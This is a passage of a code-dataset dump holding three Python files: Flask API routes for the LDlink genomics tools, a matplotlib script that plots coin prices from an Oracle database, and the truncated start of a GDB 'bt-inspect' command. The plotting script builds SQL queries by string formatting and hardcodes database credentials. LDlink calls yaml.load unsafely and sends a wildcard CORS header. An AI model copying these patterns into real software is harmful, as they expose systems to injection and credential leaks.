REQUEST\n web = False\n return get_ldtrait_timestamp(web)\n\n### LDLink Main Module Routes ###\n\n# Web and API route for LDassoc\n@app.route('/LDlinkRest/ldassoc', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldassoc', methods=['GET'])\ndef ldassoc():\n print(\"Execute ldassoc.\")\n with open('config.yml', 'r') as c:\n config = yaml.load(c)\n example_dir = config['data']['example_dir']\n myargs = argparse.Namespace()\n myargs.window = None\n filename = secure_filename(request.args.get('filename', False))\n region = request.args.get('calculateRegion')\n pop = request.args.get('pop', False)\n print('filename: ' + filename)\n print('region: ' + region)\n print('pop: ' + pop)\n myargs.dprime = bool(request.args.get(\"dprime\") == \"True\")\n myargs.chr = str(request.args.get('columns[chromosome]'))\n myargs.bp = str(request.args.get('columns[position]'))\n myargs.pval = str(request.args.get('columns[pvalue]'))\n print(\"dprime: \" + str(myargs.dprime))\n if bool(request.args.get(\"useEx\") == \"True\"):\n filename = example_dir + 'prostate_example.txt'\n else:\n filename = os.path.join(app.config['UPLOAD_DIR'], secure_filename(str(request.args.get('filename'))))\n if region == \"variant\":\n print(\"Region is variant\")\n print(\"index: \" + str(request.args.get('variant[index]')))\n print(\"base pair window: \" + request.args.get('variant[basepair]'))\n print()\n myargs.window = int(request.args.get('variant[basepair]'))\n if request.args.get('variant[index]') == \"\":\n myargs.origin = None\n else:\n myargs.origin = request.args.get('variant[index]')\n if region == \"gene\":\n print(\"Region is gene\")\n if request.args.get('gene[index]') == \"\":\n myargs.origin = None\n else:\n myargs.origin = request.args.get('gene[index]')\n myargs.name = request.args.get('gene[name]')\n myargs.window = int(request.args.get('gene[basepair]'))\n if region == \"region\":\n print(\"Region is region\")\n if request.args.get('region[index]') == \"\":\n myargs.origin = None\n else:\n myargs.origin = request.args.get('region[index]')\n myargs.start = str(request.args.get('region[start]'))\n myargs.end = str(request.args.get('region[end]'))\n myargs.transcript = bool(request.args.get(\"transcript\") == \"True\")\n print(\"transcript: \" + str(myargs.transcript))\n myargs.annotate = bool(request.args.get(\"annotate\") == \"True\")\n print(\"annotate: \" + str(myargs.annotate))\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n web = True\n reference = request.args.get('reference', False)\n print('reference: ' + reference)\n try:\n out_json = calculate_assoc(filename, region, pop, reference, web, myargs)\n except:\n return sendTraceback(None)\n else:\n # API REQUEST\n web = False\n # PROGRAMMATIC ACCESS NOT AVAILABLE\n return sendJSON(out_json)\n\n# Web and API route for LDexpress\n@app.route('/LDlinkRest/ldexpress', methods=['POST'])\n@app.route('/LDlinkRestWeb/ldexpress', methods=['POST'])\n@requires_token\ndef ldexpress():\n print('Execute ldexpress.')\n data = json.loads(request.stream.read())\n snps = data['snps']\n pop = data['pop']\n tissues = data['tissues']\n r2_d = data['r2_d']\n r2_d_threshold = data['r2_d_threshold']\n p_threshold = data['p_threshold']\n window = data['window'].replace(',', '') if 'window' in data else '500000'\n token = request.args.get('token', False)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = str(data['reference'])\n snplist = \"+\".join([snp.strip().lower() for snp in snps.splitlines()])\n try:\n express = {}\n (query_snps, thinned_snps, details, errors_warnings) = calculate_express(snplist, pop, reference, web, tissues, r2_d, float(r2_d_threshold), float(p_threshold), int(window))\n express[\"query_snps\"] = query_snps\n express[\"thinned_snps\"] = thinned_snps\n express[\"details\"] = details\n\n if \"error\" in errors_warnings:\n express[\"error\"] = errors_warnings[\"error\"]\n else:\n with open('tmp/express_variants_annotated' + reference + '.txt', 'w') as f:\n f.write(\"Query\\tRS ID\\tPosition\\tR2\\tD'\\tGene Symbol\\tGencode ID\\tTissue\\tNon-effect Allele Freq\\tEffect Allele Freq\\tEffect Size\\tP-value\\n\")\n for snp in thinned_snps:\n for matched_gwas in details[snp][\"aaData\"]:\n f.write(snp + \"\\t\")\n f.write(\"\\t\".join(str(element.split(\"__\")[0]) for element in matched_gwas) + \"\\n\")\n if \"warning\" in errors_warnings:\n express[\"warning\"] = errors_warnings[\"warning\"]\n f.write(\"Warning(s):\\n\")\n f.write(express[\"warning\"])\n out_json = json.dumps(express, sort_keys=False)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n snplist = \"+\".join([snp.strip().lower() for snp in snps.splitlines()])\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n (query_snps, thinned_snps, details, errors_warnings) = calculate_express(snplist, pop, reference, web, tissues, r2_d, float(r2_d_threshold), float(p_threshold), int(window))\n # with open(tmp_dir + \"express\" + reference + \".json\") as f:\n # json_dict = json.load(f)\n if \"error\" in errors_warnings:\n # display api out w/ error\n toggleLocked(token, 0)\n return sendTraceback(errors_warnings[\"error\"])\n else:\n with open('tmp/express_variants_annotated' + reference + '.txt', 'w') as f:\n f.write(\"Query\\tRS ID\\tPosition\\tR2\\tD'\\tGene Symbol\\tGencode ID\\tTissue\\tNon-effect Allele Freq\\tEffect Allele Freq\\tEffect Size\\tP-value\\n\")\n for snp in thinned_snps:\n for matched_gwas in details[snp][\"aaData\"]:\n f.write(snp + \"\\t\")\n f.write(\"\\t\".join(str(element.split(\"__\")[0]) for element in matched_gwas) + \"\\n\")\n if \"warning\" in errors_warnings:\n express[\"warning\"] = errors_warnings[\"warning\"]\n f.write(\"Warning(s):\\n\")\n f.write(express[\"warning\"])\n # display api out\n try:\n with open('tmp/express_variants_annotated' + reference + '.txt', 'r') as fp:\n content = fp.read()\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n toggleLocked(token, 0)\n return sendTraceback(None)\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return current_app.response_class(out_json, mimetype='application/json')\n\n# Web and API route for LDhap\n@app.route('/LDlinkRest/ldhap', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldhap', methods=['GET'])\n@requires_token\ndef ldhap():\n print('Execute ldhap.')\n # print 'Request User Agent: ', request.user_agent\n # print 'Request User Agent Platform: ', request.user_agent.platform\n # print 'Request User Agent Browser: ', request.user_agent.browser\n\n snps = request.args.get('snps', False)\n pop = request.args.get('pop', False)\n token = request.args.get('token', False)\n print('snps: ' + snps)\n print('pop: ' + pop)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = request.args.get('reference', False)\n print('request: ' + str(reference))\n snplst = tmp_dir + 'snps' + reference + '.txt'\n with open(snplst, 'w') as f:\n f.write(snps.lower())\n try:\n out_json = calculate_hap(snplst, pop, reference, web)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n print('request: ' + str(reference))\n snplst = tmp_dir + 'snps' + reference + '.txt'\n with open(snplst, 'w') as f:\n f.write(snps.lower())\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n out_json = calculate_hap(snplst, pop, reference, web)\n # display api out\n try: \n # unlock token then display api output\n resultFile1 = \"./tmp/snps_\" + reference + \".txt\"\n resultFile2 = \"./tmp/haplotypes_\" + reference + \".txt\"\n with open(resultFile1, \"r\") as fp:\n content1 = fp.read()\n with open(resultFile2, \"r\") as fp:\n content2 = fp.read()\n toggleLocked(token, 0)\n return content1 + \"\\n\" + \"#####################################################################################\" + \"\\n\\n\" + content2\n except:\n # unlock token then display error message\n output = json.loads(out_json)\n toggleLocked(token, 0)\n return sendTraceback(output[\"error\"])\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return sendJSON(out_json)\n\n# Web and API route for LDmatrix\n@app.route('/LDlinkRest/ldmatrix', methods=['GET', 'POST'])\n@app.route('/LDlinkRestWeb/ldmatrix', methods=['GET'])\n@requires_token\ndef ldmatrix():\n print('Execute ldmatrix.')\n # differentiate POST or GET request\n if request.method == 'POST':\n # POST REQUEST\n data = json.loads(request.stream.read())\n if 'snps' in data:\n snps = data['snps']\n else:\n snps = False\n if \"pop\" in data:\n pop = data['pop']\n else:\n pop = False\n if \"reference\" in data:\n reference = data['reference']\n else:\n reference = False\n if \"r2_d\" in data:\n r2_d = data['r2_d']\n else:\n r2_d = False\n else:\n # GET REQUEST\n snps = request.args.get('snps', False)\n pop = request.args.get('pop', False)\n reference = request.args.get('reference', False)\n r2_d = request.args.get('r2_d', False)\n token = request.args.get('token', False)\n print('snps: ' + snps)\n print('pop: ' + pop)\n print('r2_d: ' + r2_d)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = request.args.get('reference', False)\n print('request: ' + str(reference))\n snplst = tmp_dir + 'snps' + str(reference) + '.txt'\n with open(snplst, 'w') as f:\n f.write(snps.lower())\n try:\n out_script, out_div = calculate_matrix(snplst, pop, reference, web, str(request.method), r2_d)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n print('request: ' + str(reference)) \n snplst = tmp_dir + 'snps' + str(reference) + '.txt'\n with open(snplst, 'w') as f:\n f.write(snps.lower())\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n out_script, out_div = calculate_matrix(snplst, pop, reference, web, str(request.method), r2_d)\n # display api out\n try:\n # unlock token then display api output\n resultFile = \"\"\n if r2_d == \"d\":\n resultFile = \"./tmp/d_prime_\"+reference+\".txt\"\n else:\n resultFile = \"./tmp/r2_\"+reference+\".txt\"\n with open(resultFile, \"r\") as fp:\n content = fp.read()\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n with open(tmp_dir + \"matrix\" + reference + \".json\") as f:\n json_dict = json.load(f)\n toggleLocked(token, 0)\n return sendTraceback(json_dict[\"error\"])\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return out_script + \"\\n \" + out_div\n\n# Web and API route for LDpair\n@app.route('/LDlinkRest/ldpair', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldpair', methods=['GET'])\n@requires_token\ndef ldpair():\n print('Execute ldpair.')\n var1 = request.args.get('var1', False)\n var2 = request.args.get('var2', False)\n pop = request.args.get('pop', False)\n token = request.args.get('token', False)\n print('var1: ' + var1)\n print('var2: ' + var2)\n print('pop: ' + pop)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = request.args.get('reference', False)\n print('request: ' + str(reference))\n try:\n out_json = calculate_pair(var1, var2, pop, web, reference)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n print('request: ' + str(reference))\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n out_json = calculate_pair(var1, var2, pop, web, reference)\n # display api out\n try:\n # unlock token then display api output\n with open('./tmp/LDpair_'+reference+'.txt', \"r\") as fp:\n content = fp.read()\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n output = json.loads(out_json)\n toggleLocked(token, 0)\n return sendTraceback(output[\"error\"])\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return current_app.response_class(out_json, mimetype='application/json')\n\n# Web and API route for LDpop\n@app.route('/LDlinkRest/ldpop', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldpop', methods=['GET'])\n@requires_token\ndef ldpop():\n print('Execute ldpop.')\n var1 = request.args.get('var1', False)\n var2 = request.args.get('var2', False)\n pop = request.args.get('pop', False)\n r2_d = request.args.get('r2_d', False)\n token = request.args.get('token', False)\n print('var1: ' + var1)\n print('var2: ' + var2)\n print('pop: ' + pop)\n print('r2_d: ' + r2_d)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = request.args.get('reference', False)\n print('request: ' + str(reference))\n try:\n out_json = calculate_pop(var1, var2, pop, r2_d, web, reference)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n print('request: ' + str(reference))\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n out_json = calculate_pop(var1, var2, pop, r2_d, web, reference)\n # display api out\n try:\n # unlock token then display api output\n with open('./tmp/LDpop_' + reference + '.txt', \"r\") as fp:\n content = fp.read()\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n # output = json.loads(out_json)\n toggleLocked(token, 0)\n return sendTraceback(out_json[\"error\"])\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return current_app.response_class(out_json, mimetype='application/json')\n\n# Web and API route for LDproxy\n@app.route('/LDlinkRest/ldproxy', methods=['GET'])\n@app.route('/LDlinkRestWeb/ldproxy', methods=['GET'])\n@requires_token\ndef ldproxy():\n print('Execute ldproxy.')\n var = request.args.get('var', False)\n pop = request.args.get('pop', False)\n r2_d = request.args.get('r2_d', False)\n window = request.args.get('window', '500000').replace(',', '')\n token = request.args.get('token', False)\n print('var: ', var)\n print('pop: ', pop)\n print('r2_d: ', r2_d)\n print('window: ', window)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = request.args.get('reference', False)\n print('request: ' + str(reference))\n try:\n out_script, out_div = calculate_proxy(var, pop, reference, web, r2_d, int(window))\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n print('request: ' + str(reference))\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n out_script, out_div = calculate_proxy(var, pop, reference, web, r2_d, int(window))\n # display api out\n try:\n # unlock token then display api output\n with open('./tmp/proxy' + reference + '.txt', \"r\") as fp:\n content = fp.read()\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n with open(tmp_dir + \"proxy\" + reference + \".json\") as f:\n json_dict = json.load(f)\n toggleLocked(token, 0)\n return sendTraceback(json_dict[\"error\"])\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return out_script + \"\\n \" + out_div\n\n# Web and API route for LDtrait\n@app.route('/LDlinkRest/ldtrait', methods=['POST'])\n@app.route('/LDlinkRestWeb/ldtrait', methods=['POST'])\n@requires_token\ndef ldtrait():\n print('Execute ldtrait.')\n data = json.loads(request.stream.read())\n snps = data['snps']\n pop = data['pop']\n r2_d = data['r2_d']\n r2_d_threshold = data['r2_d_threshold']\n window = data['window'].replace(',', '') if 'window' in data else '500000'\n token = request.args.get('token', False)\n print('snps: ', snps)\n print('pop: ', pop)\n print('r2_d: ', r2_d)\n print('r2_d_threshold: ', r2_d_threshold)\n print('window: ', window)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = str(data['reference'])\n snpfile = str(tmp_dir + 'snps' + reference + '.txt')\n snplist = snps.splitlines()\n with open(snpfile, 'w') as f:\n for s in snplist:\n s = s.lstrip()\n if(s[:2].lower() == 'rs' or s[:3].lower() == 'chr'):\n f.write(s.lower() + '\\n')\n try:\n trait = {}\n # snplst, pop, request, web, r2_d, threshold\n (query_snps, thinned_snps, details) = calculate_trait(snpfile, pop, reference, web, r2_d, float(r2_d_threshold), int(window))\n trait[\"query_snps\"] = query_snps\n trait[\"thinned_snps\"] = thinned_snps\n trait[\"details\"] = details\n\n with open(tmp_dir + \"trait\" + reference + \".json\") as f:\n json_dict = json.load(f)\n if \"error\" in json_dict:\n trait[\"error\"] = json_dict[\"error\"]\n else:\n with open('tmp/trait_variants_annotated' + reference + '.txt', 'w') as f:\n f.write(\"Query\\tGWAS Trait\\tRS Number\\tPosition (GRCh37)\\tAlleles\\tR2\\tD'\\tRisk Allele\\tEffect Size (95% CI)\\tBeta or OR\\tP-value\\n\")\n for snp in thinned_snps:\n for matched_gwas in details[snp][\"aaData\"]:\n f.write(snp + \"\\t\")\n f.write(\"\\t\".join([str(element) for i, element in enumerate(matched_gwas) if i not in {6, 11}]) + \"\\n\")\n if \"warning\" in json_dict:\n trait[\"warning\"] = json_dict[\"warning\"]\n f.write(\"Warning(s):\\n\")\n f.write(trait[\"warning\"])\n out_json = json.dumps(trait, sort_keys=False)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n snpfile = str(tmp_dir + 'snps' + reference + '.txt')\n snplist = snps.splitlines()\n with open(snpfile, 'w') as f:\n for s in snplist:\n s = s.lstrip()\n if(s[:2].lower() == 'rs' or s[:3].lower() == 'chr'):\n f.write(s.lower() + '\\n')\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n (query_snps, thinned_snps, details) = calculate_trait(snpfile, pop, reference, web, r2_d, float(r2_d_threshold), int(window))\n with open(tmp_dir + \"trait\" + reference + \".json\") as f:\n json_dict = json.load(f)\n if \"error\" in json_dict:\n # display api out w/ error\n toggleLocked(token, 0)\n return sendTraceback(json_dict[\"error\"])\n else:\n with open('tmp/trait_variants_annotated' + reference + '.txt', 'w') as f:\n f.write(\"Query\\tGWAS Trait\\tRS Number\\tPosition (GRCh37)\\tAlleles\\tR2\\tD'\\tRisk Allele\\tEffect Size (95% CI)\\tBeta or OR\\tP-value\\n\")\n for snp in thinned_snps:\n for matched_gwas in details[snp][\"aaData\"]:\n f.write(snp + \"\\t\")\n f.write(\"\\t\".join([str(element) for i, element in enumerate(matched_gwas) if i not in {6, 11}]) + \"\\n\")\n if \"warning\" in json_dict:\n trait[\"warning\"] = json_dict[\"warning\"]\n f.write(\"Warning(s):\\n\")\n f.write(trait[\"warning\"])\n # display api out\n try:\n with open('tmp/trait_variants_annotated' + reference + '.txt', 'r') as fp:\n content = fp.read()\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n toggleLocked(token, 0)\n return sendTraceback(None)\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return current_app.response_class(out_json, mimetype='application/json')\n\n\n# Web and API route for SNPchip\n@app.route('/LDlinkRest/snpchip', methods=['GET', 'POST'])\n@app.route('/LDlinkRestWeb/snpchip', methods=['GET', 'POST'])\n@requires_token\ndef snpchip():\n print(\"Execute snpchip.\")\n data = json.loads(request.stream.read())\n snps = data['snps']\n platforms = data['platforms']\n token = request.args.get('token', False)\n print('snps: ' + snps)\n print('platforms: ' + platforms)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = str(data['reference'])\n print('request: ' + reference)\n snplst = tmp_dir + 'snps' + reference + '.txt'\n with open(snplst, 'w') as f:\n f.write(snps.lower())\n try:\n snp_chip = calculate_chip(snplst, platforms, web, reference)\n out_json = json.dumps(snp_chip, sort_keys=True, indent=2)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n print('request: ' + reference)\n snplst = tmp_dir + 'snps' + reference + '.txt'\n with open(snplst, 'w') as f:\n f.write(snps.lower())\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n snp_chip = calculate_chip(snplst, platforms, web, reference)\n # display api out\n try:\n # unlock token then display api output\n resultFile = \"./tmp/details\"+reference+\".txt\"\n with open(resultFile, \"r\") as fp:\n content = fp.read()\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n out_json = json.dumps(snp_chip, sort_keys=True, indent=2)\n output = json.loads(out_json)\n toggleLocked(token, 0)\n return sendTraceback(output[\"error\"])\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return current_app.response_class(out_json, mimetype='application/json')\n\n# Web and API route for SNPclip\n@app.route('/LDlinkRest/snpclip', methods=['POST'])\n@app.route('/LDlinkRestWeb/snpclip', methods=['POST'])\n@requires_token\ndef snpclip():\n print('Execute snpclip.')\n data = json.loads(request.stream.read())\n snps = data['snps']\n pop = data['pop']\n r2_threshold = data['r2_threshold']\n maf_threshold = data['maf_threshold']\n token = request.args.get('token', False)\n print('snps: ' + snps)\n print('pop: ' + pop)\n print('r2_threshold: ' + r2_threshold)\n print('maf_threshold: ' + maf_threshold)\n web = False\n # differentiate web or api request\n if 'LDlinkRestWeb' in request.path:\n # WEB REQUEST\n if request.user_agent.browser is not None:\n web = True\n reference = str(data['reference'])\n snpfile = str(tmp_dir + 'snps' + reference + '.txt')\n snplist = snps.splitlines()\n with open(snpfile, 'w') as f:\n for s in snplist:\n s = s.lstrip()\n if(s[:2].lower() == 'rs' or s[:3].lower() == 'chr'):\n f.write(s.lower() + '\\n')\n try:\n clip = {}\n (snps, snp_list, details) = calculate_clip(snpfile, pop, reference, web, float(r2_threshold), float(maf_threshold))\n clip[\"snp_list\"] = snp_list\n clip[\"details\"] = details\n clip[\"snps\"] = snps\n clip[\"filtered\"] = collections.OrderedDict()\n with open(tmp_dir + \"clip\" + reference + \".json\") as f:\n json_dict = json.load(f)\n if \"error\" in json_dict:\n clip[\"error\"] = json_dict[\"error\"]\n else:\n for snp in snps:\n clip[\"filtered\"][snp[0]] = details[snp[0]]\n if \"warning\" in json_dict:\n clip[\"warning\"] = json_dict[\"warning\"]\n with open('tmp/snp_list' + reference + '.txt', 'w') as f:\n for rs_number in snp_list:\n f.write(rs_number + '\\n')\n with open('tmp/details' + reference + '.txt', 'w') as f:\n f.write(\"RS Number\\tPosition\\tAlleles\\tDetails\\n\")\n if(type(details) is collections.OrderedDict):\n for snp in snps:\n f.write(snp[0] + \"\\t\" + \"\\t\".join(details[snp[0]]))\n f.write(\"\\n\")\n out_json = json.dumps(clip, sort_keys=False)\n except:\n return sendTraceback(None)\n else:\n return sendJSON(\"This web API route does not support programmatic access. Please use the API routes specified on the API Access web page.\")\n else:\n # API REQUEST\n web = False\n reference = str(time.strftime(\"%I%M%S\")) + str(random.randint(0, 10000))\n snpfile = str(tmp_dir + 'snps' + reference + '.txt')\n snplist = snps.splitlines()\n with open(snpfile, 'w') as f:\n for s in snplist:\n s = s.lstrip()\n if(s[:2].lower() == 'rs' or s[:3].lower() == 'chr'):\n f.write(s.lower() + '\\n')\n try:\n # lock token preventing concurrent requests\n toggleLocked(token, 1)\n (snps, snp_list, details) = calculate_clip(snpfile, pop, reference, web, float(r2_threshold), float(maf_threshold))\n with open(tmp_dir + \"clip\" + reference + \".json\") as f:\n json_dict = json.load(f)\n with open('tmp/details' + reference + '.txt', 'w') as f:\n f.write(\"RS Number\\tPosition\\tAlleles\\tDetails\\n\")\n if(type(details) is collections.OrderedDict):\n for snp in snps:\n f.write(snp[0] + \"\\t\" + \"\\t\".join(details[snp[0]]))\n f.write(\"\\n\")\n # display api out\n try:\n # unlock token then display api output\n resultFile = \"./tmp/details\" + reference + \".txt\"\n with open(resultFile, \"r\") as fp:\n content = fp.read()\n with open(tmp_dir + \"clip\" + reference + \".json\") as f:\n json_dict = json.load(f)\n if \"error\" in json_dict:\n toggleLocked(token, 0)\n return sendTraceback(json_dict[\"error\"])\n toggleLocked(token, 0)\n return content\n except:\n # unlock token then display error message\n toggleLocked(token, 0)\n return sendTraceback(None)\n except:\n # unlock token if internal error w/ calculation\n toggleLocked(token, 0)\n return sendTraceback(None)\n return current_app.response_class(out_json, mimetype='application/json')\n\n### Add Request Headers & Initialize Flags ###\n@app.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE')\n return response\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-p\", dest=\"port_number\",\n default=\"9982\", help=\"Sets the Port\")\n parser.add_argument(\"-d\", dest=\"debug\", default=\"False\",\n help=\"Sets the Debugging Option\")\n # Default port is production value; prod,stage,dev = 9982, sandbox=9983\n args = parser.parse_args()\n port_num = int(args.port_number)\n debugger = args.debug == 'True'\n hostname = gethostname()\n app.run(host='0.0.0.0', port=port_num, debug=debugger, use_evalex=False)\n application = DebuggedApplication(app, True)\n","sub_path":"LDlink/LDlink.py","file_name":"LDlink.py","file_ext":"py","file_size_in_byte":49874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"580544246","text":"import matplotlib.pyplot as plt\r\nfrom matplotlib import *\r\nimport datetime as dt\r\nfrom matplotlib import dates\r\nimport cx_Oracle\r\n\r\n\r\ndef PlotGraph(coin, start=0, end=0):\r\n price = []\r\n time = []\r\n start *= 1000\r\n end *= 1000\r\n\r\n dsnStr = cx_Oracle.makedsn(host=\"localhost\", port=\"1521\", sid=\"dborcl\")\r\n con = cx_Oracle.connect(user=\"user1\", password=\"123\", dsn=dsnStr)\r\n cur = con.cursor()\r\n if start == 0 and end == 0:\r\n cur.execute(\"SELECT * FROM id_data_price WHERE id = '%s' ORDER BY unix_time\" % coin)\r\n elif start != 0 and end == 0:\r\n cur.execute(\"SELECT * FROM id_data_price WHERE UNIX_TIME > %d AND id = '%s' ORDER BY unix_time\" % (start, coin))\r\n elif start == 0 and end != 0:\r\n cur.execute(\"SELECT * FROM id_data_price WHERE UNIX_TIME < %d AND id = '%s' ORDER BY unix_time\" % (end, coin))\r\n else:\r\n cur.execute(\"SELECT * FROM id_data_price WHERE (UNIX_TIME BETWEEN %d AND %d) AND (id = '%s') ORDER BY unix_time\" % (\r\n start, end, coin))\r\n\r\n result = cur.fetchall()\r\n\r\n for i in result:\r\n time.append(dt.datetime.strptime('%s' % dt.datetime.fromtimestamp(int(i[2]) / 1000), \"%Y-%m-%d %H:%M:%S\"))\r\n price.append(i[3])\r\n\r\n cur.close()\r\n con.close()\r\n\r\n rcParams['toolbar'] = 'None'\r\n fmt = dates.DateFormatter('%d-%m-%Y')\r\n\r\n fig, ax = plt.subplots()\r\n\r\n ax.plot(time, price)\r\n ax.xaxis.set_major_formatter(fmt)\r\n fig.autofmt_xdate()\r\n\r\n return fig\r\n\r\n\r\nif __name__ == '__main__':\r\n PlotGraph()\r\n","sub_path":"TimeMatplotlib.py","file_name":"TimeMatplotlib.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"70510389","text":"# bt-inspect GDB command.\n#\n# The MIT License (MIT)\n#\n# Copyright (c) 2016 Philippe Proulx \n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nfrom btanalysis import info\nimport bt_gdb_export\nimport bt_gdb_vars\nimport subprocess\nimport bt_gdb_obj\nimport gdb\nimport sys\n\n\nclass _BtInspectCommand(gdb.Command):\n '''Inspect given Babeltrace object with bt-inspect\n\nConvert the argument, an expression resolving to a Babeltrace object,\nto a bt-analysis object, export this object and other contextual\ninformation to a file, then launch the bt-inspect viewer on it.\n\nBy default, the given object and all its weak children are inspected.\nIn this mode, the parents of all the inspected objects are NOT inspected:\nonly their addresses are saved. It is possible to go \"up\" instead,\ninspecting the parents of the objects, but keeping only the addresses\nof their weak children by appending \"#up\" at the end of the command\ninvocation, for example:\n\n (gdb) bt-inspect my_stream_class #up\n\nThe latest bt-analysis and bt-inspect Python 3 package is needed for\nthis command to complete successfully.'''\n\n def __init__(self):\n super().__init__('bt-inspect', gdb.COMMAND_USER,\n gdb.COMPLETE_EXPRESSION)\n\n def _launch_bt_inspect(self, filename):\n try:\n process = subprocess.Popen(['bt-inspect', filename], close_fds=False)\n except Exception as e:\n msg = 